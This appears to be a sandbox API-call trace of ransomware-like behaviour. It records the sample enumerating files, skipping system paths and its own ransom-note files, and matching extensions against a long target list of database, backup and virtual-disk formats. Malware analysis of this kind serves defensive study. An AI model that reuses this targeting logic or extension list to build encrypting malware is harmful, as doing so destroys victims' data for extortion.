	[0061.098] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x800) returned 0x100000
	[0061.099] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0061.100] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0061.100] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0061.100] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0061.100] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0061.100] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0061.100] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0061.100] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0061.100] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0061.100] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0061.100] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0061.100] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0061.100] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0061.100] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0061.100] CloseHandle (hObject=0x150) returned 1
	[0061.100] CloseHandle (hObject=0x14c) returned 1
	[0061.101] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0061.101] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0061.101] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0061.101] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4f3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="03_Music_rated_at_4_or_5_stars.wpl", cAlternateFileName="03_MUS~1.WPL")) returned 1
	[0061.101] lstrcmpiW (lpString1="03_Music_rated_at_4_or_5_stars.wpl", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.101] lstrcmpiW (lpString1="03_Music_rated_at_4_or_5_stars.wpl", lpString2="Apollon865.txt.exe") returned -1
	[0061.101] lstrcmpiW (lpString1="03_Music_rated_at_4_or_5_stars.wpl", lpString2=".") returned 1
	[0061.101] lstrcmpiW (lpString1="03_Music_rated_at_4_or_5_stars.wpl", lpString2="..") returned 1
	[0061.101] lstrcmpiW (lpString1="03_Music_rated_at_4_or_5_stars.wpl", lpString2="windows") returned -1
	[0061.101] lstrcmpiW (lpString1="03_Music_rated_at_4_or_5_stars.wpl", lpString2="bootmgr") returned -1
	[0061.101] lstrcmpiW (lpString1="03_Music_rated_at_4_or_5_stars.wpl", lpString2="temp") returned -1
	[0061.101] lstrcmpiW (lpString1="03_Music_rated_at_4_or_5_stars.wpl", lpString2="pagefile.sys") returned -1
	[0061.101] lstrcmpiW (lpString1="03_Music_rated_at_4_or_5_stars.wpl", lpString2="boot") returned -1
	[0061.101] lstrcmpiW (lpString1="03_Music_rated_at_4_or_5_stars.wpl", lpString2="ids.txt") returned -1
	[0061.101] lstrcmpiW (lpString1="03_Music_rated_at_4_or_5_stars.wpl", lpString2="ntuser.dat") returned -1
	[0061.101] lstrcmpiW (lpString1="03_Music_rated_at_4_or_5_stars.wpl", lpString2="perflogs") returned -1
	[0061.101] lstrcmpiW (lpString1="03_Music_rated_at_4_or_5_stars.wpl", lpString2="MSBuild") returned -1
	[0061.101] lstrlenW (lpString="03_Music_rated_at_4_or_5_stars.wpl") returned 34
	[0061.101] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl") returned 120
	[0061.101] lstrcpyW (in: lpString1=0x119e6b0, lpString2="03_Music_rated_at_4_or_5_stars.wpl" | out: lpString1="03_Music_rated_at_4_or_5_stars.wpl") returned="03_Music_rated_at_4_or_5_stars.wpl"
	[0061.101] lstrlenW (lpString="03_Music_rated_at_4_or_5_stars.wpl") returned 34
	[0061.101] lstrlenW (lpString="Apollon865") returned 10
	[0061.101] lstrcmpiW (lpString1="_stars.wpl", lpString2="Apollon865") returned -1
	[0061.101] lstrlenW (lpString=".dll") returned 4
	[0061.101] lstrcmpiW (lpString1="03_Music_rated_at_4_or_5_stars.wpl", lpString2=".dll") returned 1
	[0061.101] lstrlenW (lpString=".lnk") returned 4
	[0061.102] lstrcmpiW (lpString1="03_Music_rated_at_4_or_5_stars.wpl", lpString2=".lnk") returned 1
	[0061.102] lstrlenW (lpString=".ini") returned 4
	[0061.102] lstrcmpiW (lpString1="03_Music_rated_at_4_or_5_stars.wpl", lpString2=".ini") returned 1
	[0061.102] lstrlenW (lpString=".sys") returned 4
	[0061.102] lstrcmpiW (lpString1="03_Music_rated_at_4_or_5_stars.wpl", lpString2=".sys") returned 1
	[0061.102] lstrlenW (lpString="03_Music_rated_at_4_or_5_stars.wpl") returned 34
	[0061.102] lstrlenW (lpString="bak") returned 3
	[0061.102] lstrcmpiW (lpString1="wpl", lpString2="bak") returned 1
	[0061.102] lstrlenW (lpString="ba_") returned 3
	[0061.102] lstrcmpiW (lpString1="wpl", lpString2="ba_") returned 1
	[0061.102] lstrlenW (lpString="dbb") returned 3
	[0061.102] lstrcmpiW (lpString1="wpl", lpString2="dbb") returned 1
	[0061.102] lstrlenW (lpString="vmdk") returned 4
	[0061.102] lstrcmpiW (lpString1=".wpl", lpString2="vmdk") returned -1
	[0061.102] lstrlenW (lpString="rar") returned 3
	[0061.102] lstrcmpiW (lpString1="wpl", lpString2="rar") returned 1
	[0061.102] lstrlenW (lpString="zip") returned 3
	[0061.102] lstrcmpiW (lpString1="wpl", lpString2="zip") returned -1
	[0061.102] lstrlenW (lpString="tgz") returned 3
	[0061.102] lstrcmpiW (lpString1="wpl", lpString2="tgz") returned 1
	[0061.102] lstrlenW (lpString="vbox") returned 4
	[0061.102] lstrcmpiW (lpString1=".wpl", lpString2="vbox") returned -1
	[0061.102] lstrlenW (lpString="vdi") returned 3
	[0061.102] lstrcmpiW (lpString1="wpl", lpString2="vdi") returned 1
	[0061.102] lstrlenW (lpString="vhd") returned 3
	[0061.102] lstrcmpiW (lpString1="wpl", lpString2="vhd") returned 1
	[0061.102] lstrlenW (lpString="vhdx") returned 4
	[0061.102] lstrcmpiW (lpString1=".wpl", lpString2="vhdx") returned -1
	[0061.102] lstrlenW (lpString="avhd") returned 4
	[0061.102] lstrcmpiW (lpString1=".wpl", lpString2="avhd") returned -1
	[0061.102] lstrlenW (lpString="db") returned 2
	[0061.102] lstrcmpiW (lpString1="pl", lpString2="db") returned 1
	[0061.102] lstrlenW (lpString="db2") returned 3
	[0061.103] lstrcmpiW (lpString1="wpl", lpString2="db2") returned 1
	[0061.103] lstrlenW (lpString="db3") returned 3
	[0061.103] lstrcmpiW (lpString1="wpl", lpString2="db3") returned 1
	[0061.103] lstrlenW (lpString="dbf") returned 3
	[0061.103] lstrcmpiW (lpString1="wpl", lpString2="dbf") returned 1
	[0061.103] lstrlenW (lpString="mdf") returned 3
	[0061.103] lstrcmpiW (lpString1="wpl", lpString2="mdf") returned 1
	[0061.103] lstrlenW (lpString="mdb") returned 3
	[0061.103] lstrcmpiW (lpString1="wpl", lpString2="mdb") returned 1
	[0061.103] lstrlenW (lpString="sql") returned 3
	[0061.103] lstrcmpiW (lpString1="wpl", lpString2="sql") returned 1
	[0061.103] lstrlenW (lpString="sqlite") returned 6
	[0061.103] lstrcmpiW (lpString1="rs.wpl", lpString2="sqlite") returned -1
	[0061.103] lstrlenW (lpString="sqlite3") returned 7
	[0061.103] lstrcmpiW (lpString1="ars.wpl", lpString2="sqlite3") returned -1
	[0061.103] lstrlenW (lpString="sqlitedb") returned 8
	[0061.103] lstrcmpiW (lpString1="tars.wpl", lpString2="sqlitedb") returned 1
	[0061.103] lstrlenW (lpString="xml") returned 3
	[0061.103] lstrcmpiW (lpString1="wpl", lpString2="xml") returned -1
	[0061.103] lstrlenW (lpString="$er") returned 3
	[0061.103] lstrcmpiW (lpString1="wpl", lpString2="$er") returned 1
	[0061.103] lstrlenW (lpString="4dd") returned 3
	[0061.103] lstrcmpiW (lpString1="wpl", lpString2="4dd") returned 1
	[0061.103] lstrlenW (lpString="4dl") returned 3
	[0061.103] lstrcmpiW (lpString1="wpl", lpString2="4dl") returned 1
	[0061.103] lstrlenW (lpString="^^^") returned 3
	[0061.103] lstrcmpiW (lpString1="wpl", lpString2="^^^") returned 1
	[0061.103] lstrlenW (lpString="abs") returned 3
	[0061.103] lstrcmpiW (lpString1="wpl", lpString2="abs") returned 1
	[0061.103] lstrlenW (lpString="abx") returned 3
	[0061.103] lstrcmpiW (lpString1="wpl", lpString2="abx") returned 1
	[0061.103] lstrlenW (lpString="accdb") returned 5
	[0061.103] lstrcmpiW (lpString1="s.wpl", lpString2="accdb") returned 1
	[0061.104] lstrlenW (lpString="accdc") returned 5
	[0061.104] lstrcmpiW (lpString1="s.wpl", lpString2="accdc") returned 1
	[0061.104] lstrlenW (lpString="accde") returned 5
	[0061.104] lstrcmpiW (lpString1="s.wpl", lpString2="accde") returned 1
	[0061.104] lstrlenW (lpString="accdr") returned 5
	[0061.104] lstrcmpiW (lpString1="s.wpl", lpString2="accdr") returned 1
	[0061.104] lstrlenW (lpString="accdt") returned 5
	[0061.104] lstrcmpiW (lpString1="s.wpl", lpString2="accdt") returned 1
	[0061.104] lstrlenW (lpString="accdw") returned 5
	[0061.104] lstrcmpiW (lpString1="s.wpl", lpString2="accdw") returned 1
	[0061.104] lstrlenW (lpString="accft") returned 5
	[0061.104] lstrcmpiW (lpString1="s.wpl", lpString2="accft") returned 1
	[0061.104] lstrlenW (lpString="adb") returned 3
	[0061.104] lstrcmpiW (lpString1="wpl", lpString2="adb") returned 1
	[0061.104] lstrlenW (lpString="adb") returned 3
	[0061.104] lstrcmpiW (lpString1="wpl", lpString2="adb") returned 1
	[0061.104] lstrlenW (lpString="ade") returned 3
	[0061.104] lstrcmpiW (lpString1="wpl", lpString2="ade") returned 1
	[0061.104] lstrlenW (lpString="adf") returned 3
	[0061.104] lstrcmpiW (lpString1="wpl", lpString2="adf") returned 1
	[0061.104] lstrlenW (lpString="adn") returned 3
	[0061.104] lstrcmpiW (lpString1="wpl", lpString2="adn") returned 1
	[0061.104] lstrlenW (lpString="adp") returned 3
	[0061.104] lstrcmpiW (lpString1="wpl", lpString2="adp") returned 1
	[0061.104] lstrlenW (lpString="alf") returned 3
	[0061.104] lstrcmpiW (lpString1="wpl", lpString2="alf") returned 1
	[0061.104] lstrlenW (lpString="ask") returned 3
	[0061.104] lstrcmpiW (lpString1="wpl", lpString2="ask") returned 1
	[0061.104] lstrlenW (lpString="btr") returned 3
	[0061.104] lstrcmpiW (lpString1="wpl", lpString2="btr") returned 1
	[0061.104] lstrlenW (lpString="cat") returned 3
	[0061.104] lstrcmpiW (lpString1="wpl", lpString2="cat") returned 1
	[0061.104] lstrlenW (lpString="cdb") returned 3
	[0061.105] lstrcmpiW (lpString1="wpl", lpString2="cdb") returned 1
	[0061.105] lstrlenW (lpString="ckp") returned 3
	[0061.105] lstrcmpiW (lpString1="wpl", lpString2="ckp") returned 1
	[0061.105] lstrlenW (lpString="cma") returned 3
	[0061.105] lstrcmpiW (lpString1="wpl", lpString2="cma") returned 1
	[0061.105] lstrlenW (lpString="cpd") returned 3
	[0061.105] lstrcmpiW (lpString1="wpl", lpString2="cpd") returned 1
	[0061.105] lstrlenW (lpString="dacpac") returned 6
	[0061.105] lstrcmpiW (lpString1="rs.wpl", lpString2="dacpac") returned 1
	[0061.105] lstrlenW (lpString="dad") returned 3
	[0061.105] lstrcmpiW (lpString1="wpl", lpString2="dad") returned 1
	[0061.105] lstrlenW (lpString="dadiagrams") returned 10
	[0061.105] lstrcmpiW (lpString1="_stars.wpl", lpString2="dadiagrams") returned -1
	[0061.105] lstrlenW (lpString="daschema") returned 8
	[0061.105] lstrcmpiW (lpString1="tars.wpl", lpString2="daschema") returned 1
	[0061.105] lstrlenW (lpString="db-journal") returned 10
	[0061.105] lstrcmpiW (lpString1="_stars.wpl", lpString2="db-journal") returned -1
	[0061.105] lstrlenW (lpString="db-shm") returned 6
	[0061.105] lstrcmpiW (lpString1="rs.wpl", lpString2="db-shm") returned 1
	[0061.105] lstrlenW (lpString="db-wal") returned 6
	[0061.105] lstrcmpiW (lpString1="rs.wpl", lpString2="db-wal") returned 1
	[0061.105] lstrlenW (lpString="dbc") returned 3
	[0061.105] lstrcmpiW (lpString1="wpl", lpString2="dbc") returned 1
	[0061.105] lstrlenW (lpString="dbs") returned 3
	[0061.105] lstrcmpiW (lpString1="wpl", lpString2="dbs") returned 1
	[0061.105] lstrlenW (lpString="dbt") returned 3
	[0061.105] lstrcmpiW (lpString1="wpl", lpString2="dbt") returned 1
	[0061.105] lstrlenW (lpString="dbv") returned 3
	[0061.105] lstrcmpiW (lpString1="wpl", lpString2="dbv") returned 1
	[0061.105] lstrlenW (lpString="dbx") returned 3
	[0061.105] lstrcmpiW (lpString1="wpl", lpString2="dbx") returned 1
	[0061.105] lstrlenW (lpString="dcb") returned 3
	[0061.105] lstrcmpiW (lpString1="wpl", lpString2="dcb") returned 1
	[0061.106] lstrlenW (lpString="dct") returned 3
	[0061.106] lstrcmpiW (lpString1="wpl", lpString2="dct") returned 1
	[0061.106] lstrlenW (lpString="dcx") returned 3
	[0061.106] lstrcmpiW (lpString1="wpl", lpString2="dcx") returned 1
	[0061.106] lstrlenW (lpString="ddl") returned 3
	[0061.106] lstrcmpiW (lpString1="wpl", lpString2="ddl") returned 1
	[0061.106] lstrlenW (lpString="dlis") returned 4
	[0061.106] lstrcmpiW (lpString1=".wpl", lpString2="dlis") returned -1
	[0061.106] lstrlenW (lpString="dp1") returned 3
	[0061.106] lstrcmpiW (lpString1="wpl", lpString2="dp1") returned 1
	[0061.106] lstrlenW (lpString="dqy") returned 3
	[0061.106] lstrcmpiW (lpString1="wpl", lpString2="dqy") returned 1
	[0061.106] lstrlenW (lpString="dsk") returned 3
	[0061.106] lstrcmpiW (lpString1="wpl", lpString2="dsk") returned 1
	[0061.106] lstrlenW (lpString="dsn") returned 3
	[0061.106] lstrcmpiW (lpString1="wpl", lpString2="dsn") returned 1
	[0061.106] lstrlenW (lpString="dtsx") returned 4
	[0061.106] lstrcmpiW (lpString1=".wpl", lpString2="dtsx") returned -1
	[0061.106] lstrlenW (lpString="dxl") returned 3
	[0061.106] lstrcmpiW (lpString1="wpl", lpString2="dxl") returned 1
	[0061.106] lstrlenW (lpString="eco") returned 3
	[0061.106] lstrcmpiW (lpString1="wpl", lpString2="eco") returned 1
	[0061.106] lstrlenW (lpString="ecx") returned 3
	[0061.106] lstrcmpiW (lpString1="wpl", lpString2="ecx") returned 1
	[0061.106] lstrlenW (lpString="edb") returned 3
	[0061.106] lstrcmpiW (lpString1="wpl", lpString2="edb") returned 1
	[0061.106] lstrlenW (lpString="epim") returned 4
	[0061.106] lstrcmpiW (lpString1=".wpl", lpString2="epim") returned -1
	[0061.107] lstrlenW (lpString="fcd") returned 3
	[0061.107] lstrcmpiW (lpString1="wpl", lpString2="fcd") returned 1
	[0061.107] lstrlenW (lpString="fdb") returned 3
	[0061.107] lstrcmpiW (lpString1="wpl", lpString2="fdb") returned 1
	[0061.107] lstrlenW (lpString="fic") returned 3
	[0061.107] lstrcmpiW (lpString1="wpl", lpString2="fic") returned 1
	[0061.107] lstrlenW (lpString="flexolibrary") returned 12
	[0061.107] lstrcmpiW (lpString1="_5_stars.wpl", lpString2="flexolibrary") returned -1
	[0061.107] lstrlenW (lpString="fm5") returned 3
	[0061.107] lstrcmpiW (lpString1="wpl", lpString2="fm5") returned 1
	[0061.107] lstrlenW (lpString="fmp") returned 3
	[0061.107] lstrcmpiW (lpString1="wpl", lpString2="fmp") returned 1
	[0061.107] lstrlenW (lpString="fmp12") returned 5
	[0061.107] lstrcmpiW (lpString1="s.wpl", lpString2="fmp12") returned 1
	[0061.107] lstrlenW (lpString="fmpsl") returned 5
	[0061.107] lstrcmpiW (lpString1="s.wpl", lpString2="fmpsl") returned 1
	[0061.107] lstrlenW (lpString="fol") returned 3
	[0061.107] lstrcmpiW (lpString1="wpl", lpString2="fol") returned 1
	[0061.107] lstrlenW (lpString="fp3") returned 3
	[0061.107] lstrcmpiW (lpString1="wpl", lpString2="fp3") returned 1
	[0061.107] lstrlenW (lpString="fp4") returned 3
	[0061.107] lstrcmpiW (lpString1="wpl", lpString2="fp4") returned 1
	[0061.107] lstrlenW (lpString="fp5") returned 3
	[0061.107] lstrcmpiW (lpString1="wpl", lpString2="fp5") returned 1
	[0061.107] lstrlenW (lpString="fp7") returned 3
	[0061.107] lstrcmpiW (lpString1="wpl", lpString2="fp7") returned 1
	[0061.107] lstrlenW (lpString="fpt") returned 3
	[0061.107] lstrcmpiW (lpString1="wpl", lpString2="fpt") returned 1
	[0061.107] lstrlenW (lpString="frm") returned 3
	[0061.107] lstrcmpiW (lpString1="wpl", lpString2="frm") returned 1
	[0061.107] lstrlenW (lpString="gdb") returned 3
	[0061.107] lstrcmpiW (lpString1="wpl", lpString2="gdb") returned 1
	[0061.107] lstrlenW (lpString="gdb") returned 3
	[0061.108] lstrcmpiW (lpString1="wpl", lpString2="gdb") returned 1
	[0061.108] lstrlenW (lpString="grdb") returned 4
	[0061.108] lstrcmpiW (lpString1=".wpl", lpString2="grdb") returned -1
	[0061.108] lstrlenW (lpString="gwi") returned 3
	[0061.108] lstrcmpiW (lpString1="wpl", lpString2="gwi") returned 1
	[0061.108] lstrlenW (lpString="hdb") returned 3
	[0061.108] lstrcmpiW (lpString1="wpl", lpString2="hdb") returned 1
	[0061.108] lstrlenW (lpString="his") returned 3
	[0061.108] lstrcmpiW (lpString1="wpl", lpString2="his") returned 1
	[0061.108] lstrlenW (lpString="ib") returned 2
	[0061.108] lstrcmpiW (lpString1="pl", lpString2="ib") returned 1
	[0061.108] lstrlenW (lpString="idb") returned 3
	[0061.108] lstrcmpiW (lpString1="wpl", lpString2="idb") returned 1
	[0061.108] lstrlenW (lpString="ihx") returned 3
	[0061.108] lstrcmpiW (lpString1="wpl", lpString2="ihx") returned 1
	[0061.108] lstrlenW (lpString="itdb") returned 4
	[0061.108] lstrcmpiW (lpString1=".wpl", lpString2="itdb") returned -1
	[0061.108] lstrlenW (lpString="itw") returned 3
	[0061.108] lstrcmpiW (lpString1="wpl", lpString2="itw") returned 1
	[0061.108] lstrlenW (lpString="jet") returned 3
	[0061.108] lstrcmpiW (lpString1="wpl", lpString2="jet") returned 1
	[0061.108] lstrlenW (lpString="jtx") returned 3
	[0061.108] lstrcmpiW (lpString1="wpl", lpString2="jtx") returned 1
	[0061.108] lstrlenW (lpString="kdb") returned 3
	[0061.108] lstrcmpiW (lpString1="wpl", lpString2="kdb") returned 1
	[0061.108] lstrlenW (lpString="kexi") returned 4
	[0061.108] lstrcmpiW (lpString1=".wpl", lpString2="kexi") returned -1
	[0061.108] lstrlenW (lpString="kexic") returned 5
	[0061.108] lstrcmpiW (lpString1="s.wpl", lpString2="kexic") returned 1
	[0061.108] lstrlenW (lpString="kexis") returned 5
	[0061.108] lstrcmpiW (lpString1="s.wpl", lpString2="kexis") returned 1
	[0061.108] lstrlenW (lpString="lgc") returned 3
	[0061.108] lstrcmpiW (lpString1="wpl", lpString2="lgc") returned 1
	[0061.108] lstrlenW (lpString="lwx") returned 3
	[0061.109] lstrcmpiW (lpString1="wpl", lpString2="lwx") returned 1
	[0061.109] lstrlenW (lpString="maf") returned 3
	[0061.109] lstrcmpiW (lpString1="wpl", lpString2="maf") returned 1
	[0061.109] lstrlenW (lpString="maq") returned 3
	[0061.109] lstrcmpiW (lpString1="wpl", lpString2="maq") returned 1
	[0061.109] lstrlenW (lpString="mar") returned 3
	[0061.109] lstrcmpiW (lpString1="wpl", lpString2="mar") returned 1
	[0061.109] lstrlenW (lpString="marshal") returned 7
	[0061.109] lstrcmpiW (lpString1="ars.wpl", lpString2="marshal") returned -1
	[0061.109] lstrlenW (lpString="mas") returned 3
	[0061.109] lstrcmpiW (lpString1="wpl", lpString2="mas") returned 1
	[0061.109] lstrlenW (lpString="mav") returned 3
	[0061.109] lstrcmpiW (lpString1="wpl", lpString2="mav") returned 1
	[0061.109] lstrlenW (lpString="maw") returned 3
	[0061.109] lstrcmpiW (lpString1="wpl", lpString2="maw") returned 1
	[0061.109] lstrlenW (lpString="mdbhtml") returned 7
	[0061.109] lstrcmpiW (lpString1="ars.wpl", lpString2="mdbhtml") returned -1
	[0061.109] lstrlenW (lpString="mdn") returned 3
	[0061.109] lstrcmpiW (lpString1="wpl", lpString2="mdn") returned 1
	[0061.109] lstrlenW (lpString="mdt") returned 3
	[0061.109] lstrcmpiW (lpString1="wpl", lpString2="mdt") returned 1
	[0061.109] lstrlenW (lpString="mfd") returned 3
	[0061.109] lstrcmpiW (lpString1="wpl", lpString2="mfd") returned 1
	[0061.109] lstrlenW (lpString="mpd") returned 3
	[0061.109] lstrcmpiW (lpString1="wpl", lpString2="mpd") returned 1
	[0061.109] lstrlenW (lpString="mrg") returned 3
	[0061.109] lstrcmpiW (lpString1="wpl", lpString2="mrg") returned 1
	[0061.109] lstrlenW (lpString="mud") returned 3
	[0061.109] lstrcmpiW (lpString1="wpl", lpString2="mud") returned 1
	[0061.109] lstrlenW (lpString="mwb") returned 3
	[0061.109] lstrcmpiW (lpString1="wpl", lpString2="mwb") returned 1
	[0061.109] lstrlenW (lpString="myd") returned 3
	[0061.110] lstrcmpiW (lpString1="wpl", lpString2="myd") returned 1
	[0061.110] lstrlenW (lpString="ndf") returned 3
	[0061.110] lstrcmpiW (lpString1="wpl", lpString2="ndf") returned 1
	[0061.110] lstrlenW (lpString="nnt") returned 3
	[0061.110] lstrcmpiW (lpString1="wpl", lpString2="nnt") returned 1
	[0061.110] lstrlenW (lpString="nrmlib") returned 6
	[0061.110] lstrcmpiW (lpString1="rs.wpl", lpString2="nrmlib") returned 1
	[0061.110] lstrlenW (lpString="ns2") returned 3
	[0061.110] lstrcmpiW (lpString1="wpl", lpString2="ns2") returned 1
	[0061.110] lstrlenW (lpString="ns3") returned 3
	[0061.110] lstrcmpiW (lpString1="wpl", lpString2="ns3") returned 1
	[0061.110] lstrlenW (lpString="ns4") returned 3
	[0061.110] lstrcmpiW (lpString1="wpl", lpString2="ns4") returned 1
	[0061.110] lstrlenW (lpString="nsf") returned 3
	[0061.110] lstrcmpiW (lpString1="wpl", lpString2="nsf") returned 1
	[0061.110] lstrlenW (lpString="nv") returned 2
	[0061.110] lstrcmpiW (lpString1="pl", lpString2="nv") returned 1
	[0061.110] lstrlenW (lpString="nv2") returned 3
	[0061.110] lstrcmpiW (lpString1="wpl", lpString2="nv2") returned 1
	[0061.110] lstrlenW (lpString="nwdb") returned 4
	[0061.110] lstrcmpiW (lpString1=".wpl", lpString2="nwdb") returned -1
	[0061.110] lstrlenW (lpString="nyf") returned 3
	[0061.110] lstrcmpiW (lpString1="wpl", lpString2="nyf") returned 1
	[0061.110] lstrlenW (lpString="odb") returned 3
	[0061.110] lstrcmpiW (lpString1="wpl", lpString2="odb") returned 1
	[0061.110] lstrlenW (lpString="odb") returned 3
	[0061.110] lstrcmpiW (lpString1="wpl", lpString2="odb") returned 1
	[0061.110] lstrlenW (lpString="oqy") returned 3
	[0061.110] lstrcmpiW (lpString1="wpl", lpString2="oqy") returned 1
	[0061.110] lstrlenW (lpString="ora") returned 3
	[0061.110] lstrcmpiW (lpString1="wpl", lpString2="ora") returned 1
	[0061.110] lstrlenW (lpString="orx") returned 3
	[0061.110] lstrcmpiW (lpString1="wpl", lpString2="orx") returned 1
	[0061.110] lstrlenW (lpString="owc") returned 3
	[0061.111] lstrcmpiW (lpString1="wpl", lpString2="owc") returned 1
	[0061.111] lstrlenW (lpString="p96") returned 3
	[0061.111] lstrcmpiW (lpString1="wpl", lpString2="p96") returned 1
	[0061.111] lstrlenW (lpString="p97") returned 3
	[0061.111] lstrcmpiW (lpString1="wpl", lpString2="p97") returned 1
	[0061.111] lstrlenW (lpString="pan") returned 3
	[0061.111] lstrcmpiW (lpString1="wpl", lpString2="pan") returned 1
	[0061.111] lstrlenW (lpString="pdb") returned 3
	[0061.111] lstrcmpiW (lpString1="wpl", lpString2="pdb") returned 1
	[0061.111] lstrlenW (lpString="pdm") returned 3
	[0061.111] lstrcmpiW (lpString1="wpl", lpString2="pdm") returned 1
	[0061.111] lstrlenW (lpString="pnz") returned 3
	[0061.111] lstrcmpiW (lpString1="wpl", lpString2="pnz") returned 1
	[0061.111] lstrlenW (lpString="qry") returned 3
	[0061.111] lstrcmpiW (lpString1="wpl", lpString2="qry") returned 1
	[0061.111] lstrlenW (lpString="qvd") returned 3
	[0061.111] lstrcmpiW (lpString1="wpl", lpString2="qvd") returned 1
	[0061.111] lstrlenW (lpString="rbf") returned 3
	[0061.111] lstrcmpiW (lpString1="wpl", lpString2="rbf") returned 1
	[0061.111] lstrlenW (lpString="rctd") returned 4
	[0061.111] lstrcmpiW (lpString1=".wpl", lpString2="rctd") returned -1
	[0061.111] lstrlenW (lpString="rod") returned 3
	[0061.111] lstrcmpiW (lpString1="wpl", lpString2="rod") returned 1
	[0061.111] lstrlenW (lpString="rodx") returned 4
	[0061.111] lstrcmpiW (lpString1=".wpl", lpString2="rodx") returned -1
	[0061.111] lstrlenW (lpString="rpd") returned 3
	[0061.111] lstrcmpiW (lpString1="wpl", lpString2="rpd") returned 1
	[0061.111] lstrlenW (lpString="rsd") returned 3
	[0061.111] lstrcmpiW (lpString1="wpl", lpString2="rsd") returned 1
	[0061.111] lstrlenW (lpString="sas7bdat") returned 8
	[0061.111] lstrcmpiW (lpString1="tars.wpl", lpString2="sas7bdat") returned 1
	[0061.111] lstrlenW (lpString="sbf") returned 3
	[0061.111] lstrcmpiW (lpString1="wpl", lpString2="sbf") returned 1
	[0061.112] lstrlenW (lpString="scx") returned 3
	[0061.112] lstrcmpiW (lpString1="wpl", lpString2="scx") returned 1
	[0061.112] lstrlenW (lpString="sdb") returned 3
	[0061.112] lstrcmpiW (lpString1="wpl", lpString2="sdb") returned 1
	[0061.112] lstrlenW (lpString="sdc") returned 3
	[0061.112] lstrcmpiW (lpString1="wpl", lpString2="sdc") returned 1
	[0061.112] lstrlenW (lpString="sdf") returned 3
	[0061.112] lstrcmpiW (lpString1="wpl", lpString2="sdf") returned 1
	[0061.112] lstrlenW (lpString="sis") returned 3
	[0061.112] lstrcmpiW (lpString1="wpl", lpString2="sis") returned 1
	[0061.112] lstrlenW (lpString="spq") returned 3
	[0061.112] lstrcmpiW (lpString1="wpl", lpString2="spq") returned 1
	[0061.112] lstrlenW (lpString="te") returned 2
	[0061.112] lstrcmpiW (lpString1="pl", lpString2="te") returned -1
	[0061.112] lstrlenW (lpString="teacher") returned 7
	[0061.112] lstrcmpiW (lpString1="ars.wpl", lpString2="teacher") returned -1
	[0061.112] lstrlenW (lpString="tmd") returned 3
	[0061.112] lstrcmpiW (lpString1="wpl", lpString2="tmd") returned 1
	[0061.112] lstrlenW (lpString="tps") returned 3
	[0061.112] lstrcmpiW (lpString1="wpl", lpString2="tps") returned 1
	[0061.112] lstrlenW (lpString="trc") returned 3
	[0061.112] lstrcmpiW (lpString1="wpl", lpString2="trc") returned 1
	[0061.112] lstrlenW (lpString="trc") returned 3
	[0061.112] lstrcmpiW (lpString1="wpl", lpString2="trc") returned 1
	[0061.112] lstrlenW (lpString="trm") returned 3
	[0061.112] lstrcmpiW (lpString1="wpl", lpString2="trm") returned 1
	[0061.112] lstrlenW (lpString="udb") returned 3
	[0061.112] lstrcmpiW (lpString1="wpl", lpString2="udb") returned 1
	[0061.112] lstrlenW (lpString="udl") returned 3
	[0061.112] lstrcmpiW (lpString1="wpl", lpString2="udl") returned 1
	[0061.112] lstrlenW (lpString="usr") returned 3
	[0061.112] lstrcmpiW (lpString1="wpl", lpString2="usr") returned 1
	[0061.112] lstrlenW (lpString="v12") returned 3
	[0061.113] lstrcmpiW (lpString1="wpl", lpString2="v12") returned 1
	[0061.113] lstrlenW (lpString="vis") returned 3
	[0061.113] lstrcmpiW (lpString1="wpl", lpString2="vis") returned 1
	[0061.113] lstrlenW (lpString="vpd") returned 3
	[0061.113] lstrcmpiW (lpString1="wpl", lpString2="vpd") returned 1
	[0061.113] lstrlenW (lpString="vvv") returned 3
	[0061.113] lstrcmpiW (lpString1="wpl", lpString2="vvv") returned 1
